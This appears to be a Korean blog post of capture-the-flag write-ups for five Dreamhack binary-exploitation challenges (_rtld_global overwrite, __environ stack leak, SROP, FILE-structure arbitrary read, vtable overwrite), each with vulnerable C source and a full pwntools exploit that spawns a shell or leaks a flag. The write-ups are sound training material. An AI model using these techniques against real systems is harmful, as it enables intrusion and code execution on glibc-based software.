1. overwrite_rtld_global
- amd64-64
- FULL RELRO, canary 적용, NX적용, PIE 적용
=> 모든 보호기법이 걸려있다..
- 코드 분석
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
// 표준 출력 스트림 stdout의 주소(포인터) 출력
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
// addr의 주소에 data를 삽입 => 취약점
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
- 시나리오
1. library 및 loader 베이스 주소 계산
stdout의 주소 출력 -> libc의 베이스 주소 확인 가능
"/lib64/ld-linux-x86-64.so.2" > 맵핑된 로더의 베이스 주소 확인 가능
! 라이브러리와 매핑된 주소의 간격은 일정! -> 디버깅을 통해 알아보자.
2. _rtld_global 구조체 계산
로더의 베이스 주소 + rtld_global 구조체의 심볼 offset => _rtld_global의 주소 !
구조체의 주소 -> 멤버 변수 _dl_load_lock, _dl_rtld_lock_recursive 함수 포인터의 주소 !
3. _rtld_global 구조체 조작
( 조작하고자 하는 original 부분 : 프로그램 종료 과정 )
_rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터 호출!
-> 이 과정에서 인자 _dl_load_lock을 셸 또는 "sh"문자열로 삽입 && 실행 함수 _dl_rtld_lock_recursive를 system함수로 ow
==> shell 획득
Exploit 과정
+
첨부된 파일(ld-2.27.so) 과 실습 환경 (ld-linux-x86-어쩌구) 가 다르면 _rtld_global오프셋도 다르기에
patchelf을 활용하여 우리가 사용하고자하는 로더를 ld.so에 패치하자
vmmap을 통해서 내가 설정하고자하는 로더로 잘 패치된 것을 확인할 수 있다.
1. library 및 loader 베이스 주소 계산
e.symbol [IO_2_1_stdout]을 이용 -> stdout - e.symbol => 라이브러리의 베이스(libc-2.27.so) 주소
디버깅 -> 로더 (ld-2.27.so) 와 라이브러리 베이스의 offset 간극 확인
=> ld_base addr 확인
from pwn import *
p = remote('host3.dreamhack.games',10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p. recvuntil(b': ')
# stdout 주소 겟
stdout= int(p.recvuntil(b'\n'),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc base', hex(libc_base))
print('ld base', hex(ld_base))
p.interactive()
2. _rtld_global 구조체 계산
ㄴ 2.1 디버깅 심볼 다운로드
디버깅 심볼 : _rtld_global 구조체 이름 뿐 아니라 내부 멤버 변수 정보 포함
-> libc, ld의 Glibc 버전에 맞춰 상응하는 디버깅 심볼이 필요!
ㄴ 2.2 _rtld_global의 멤버 변수 offset 얻기
다운 받은 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일 내에서
_rtld_global 구조체의 멤버 변수 _dl_load_lock과 멤버 변수 _dl_rtld_lock_recursive offset을 gdb를 통해 얻자
ㄴ2.3 주소 계산
ld 주소 + 각각의 offset 더하면 _dl_load_lock , _dl_rtld_lock_recursive의 오프셋 겟 ㅎㅎ
# 위에 이어서 추가
rtld_global = ld_base + ld.symbols['_rtld_global']
# 각각의 offset을 더하여 addr 획득
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
p.interactive()
3. _rtld_global 구조체 조작
#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()
Exploit code
from pwn import *
p = remote('host3.dreamhack.games', 10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))
rtld_global = ld_base + ld.symbols['_rtld_global']
# 각각의 offset을 더하여 addr 획득
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()
2. __environ
checksec
- amd64-64
- full RELRO, canary, nx, pie 싹 다 적용
코드
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
//flag 파일에 접근
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
// stdout 주소 노출
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
// 임의 주소 읽기 취약점
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
시나리오
1. __environ 주소 계산
stdout 포인터 주소 >> libc 주소 >> __environ 포인터 주소
2. stack 주소 계산
"./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산
3. 파일 내용 read
임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력
Exploit
1. __environ 주소 계산
이전의 linux library :: _rtld 의 실습과 동일하다.
from pwn import *
p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']
print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))
p.interactive()
2. stack 주소 계산
"./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산
임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력
: read_file의 함수 읽기 부분에서 읽어올 함수 인자 확인하면 파일의 내용은 rcx 레지스터에 저장됨!
-> 해당 주소에 파일의 내용이 저장될 스택 버퍼 주소 :: rcx 확인
read_file +93
해당 지점에 bp걸고 r하여 rcx값 알아내고
{p/x __environ} - {x/gx $rcx} 값 을 구하면 0x1568임을 알 수 있다.
3. 파일 내용 read
두 주소의 간격을 알아냈음으로 1번에서 알아낸 _environ addr에서 0x1568을 빼면 stack위치 알 수있다.
이를 임의 주소읽기 취약점을 통해서 알아내보자.
# ++
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()
Exploit code
from pwn import *
p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']
print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))
# ++
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()
3. srop
- amd64-64 (64bit)
- Partial RELRO , NX 적용
- PIE, canary 미적용
- 소스코드 분석
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;" // 시스템 콜!
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
- 시나리오
1. sigreturn 호출
gadget함수 addr를 구하여 syscall 번호를 조작하여 syscall 명령어 실행 >> sigreturn 호출 (syscall num : 15)
2. execve 호출
sigreturn은 스택 영역의 값을 레지스터로 복사하므로,
1024 바이트값의 입력 시, sigcontext 구조체에 따라 execve 시스템 콜을 호출하기 위한 인자를 조작 설정
( execve :: 현재 실행 중인 프로세스를 다른 프로세스로 대체 )
- Exploit
1. sigreturn 호출
bof를 이용하여 RIP 를 가젯의 주소로 조작 / rax를 15로 조작 >>
from pwn import *
context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
# 해당 명령어 검색 => 발견된 주소를 gadget에 저장
gadget = next(elf.search(asm('pop rax; syscall')))
print('gadget..', hex(gadget))
# bof
payload = b'A'*16 #buf
payload += b'B'*8 #rbp
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b'\x00'*40 # dummy
payload += p64(0x4141414141414141)*20 # stack 채우기
print('press enter to continue')
pause() # 스크립트 일시 정지 >> 타 셸에서 현재에 attach하여 디버깅 가능
p.sendline(payload)
p.interactive()
2. execve 호출
sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값 삽입
>> pwntools에서 제공하는 SigreturnFrame 클래스를 이용하여 exploit 작성
(사용예)
SROP
:: read 시스템 콜 호출 >> bss 영역에 0x1000 바이트 입력
>> 다시 리턴 주소를 조작하여 execve("/bin/sh",0,0) 실행
- Exploit code
from pwn import *
context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame() #구조체 이용
# read(0, bss, 0x1000) <-시그널 핸들러 frame 설정
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A'*16
payload += b'B'*8
payload += p64(gadget) # gadget주소
payload += p64(15) # sigreturn : syscall 번호 15
payload += bytes(frame)
p.sendline(payload)
# execve('/bin/sh', 0, 0) : 시스템 콜 호출
frame2 = SigreturnFrame() #두번째 핸들러 frame 생성
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 #bss초반 이후의 아무개 부분
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'
p.sendline(rop)
p.interactive()
4. Bypass IO_validate_vtable


- amd64-64
- partial RELRO, nx 적용
- canary, pie 미적용
- 주요 소스코드
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
// flag파일을 읽고 flag_buf에 저장
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
// flag내용을 flag_buf에 저장
read_flag();
// testfile을 쓰기모드로 오픈
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
// 300만큼 fp에 읽어와서 저장 후
read(0, fp, 300);
// "test file!"문자열을 testfile에 write (flag_buz사이즈만큼..)
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
- 시나리오
목표 : fwrite에서 참조하는 파일 구조체를 조작하여 read_flag함수의 flag_buf 내용 획득
1. 파일 구조체 조작
(기본 세팅)_flags변수를 매직 넘버 (0x fbad 0000), _IO_CURRENTLY_PUTTING(0x 800)을 포함한 값으로 변경 >>
임의 주소 (read_flag())의 값을 읽기 위해
_IO_write_ptr >> flag_buf + 1024
_IO_write_base >> flag_buf 로 조작
fwrite를 변경 >> fileno (파일 디스크립터) 를 stdout을 나타내는 1 조작
write (f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
- Exploit code
from pwn import *
p = remote('host3.dreamhack.games',16897)
elf = ELF('./iofile_aar')
flag_buf = elf.symbols['flag_buf']
# _IO_IS_APPENDING (없으면 기존의 data문자열이 쓰여짐)
payload = p64(0xfbad0000 | 0x800) # magic num | _IO_CURRENTLY_PUTTING
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # _fileno : stdout로 변경
p.sendlineafter(b'Data: ', payload)
p.interactive()
5. iofile_vtable

-amd64-64
-partial RELRO, NX 적용
- canary, pie 미적용
- 코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
// 임의 입력 >> stderr+1 의 위치에 8바이트만큼 저장
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
- 시나리오
stderr+1의 위치를 보니 다음과 같다.
디버깅 과정을 통해서 stderr+1 의 위치는 _IO_file_jumps (vtable)의 주소임을 확인하였다.
read함수는 자신의 구조체 내의 _vtable_offset +_IO_file_jumps으로 필요한 함수를 참조한다.
fprint함수는 내부에서 _IO_new_file_xsputs 함수를 호출 >> 0x38 offset 위치의 _vtable호출하므로
name 에 get_shell 주소 / read함수에서 name_addr-0x38 시에 변조 가능하다.
- Exploit code
from pwn import *
p = remote('host3.dreamhack.games', 10285)
get_shell_addr = 0x40094a
name_addr = 0x00000000006010d0
p.recvuntil("what is your name: ")
p.sendline(p64(get_shell_addr))
p.recvuntil('> ')
p.sendline("2")
p.recvuntil('> ')
p.sendline("4")
p.recvuntil('change: ')
p.sendline(p64(name_addr- 0x38))
p.interactive()
'System Hacking' 카테고리의 다른 글
ptmalloc2 allocator | Heap Allocator Exploit (0) | 2024.05.11 |
---|---|
_IO_FILE (0) | 2024.03.30 |
SigReturn-Oriented Programming (0) | 2024.03.30 |
linux library exploit :: __environ (1) | 2024.03.29 |
linux library exploit :: _rtld_global (0) | 2024.03.28 |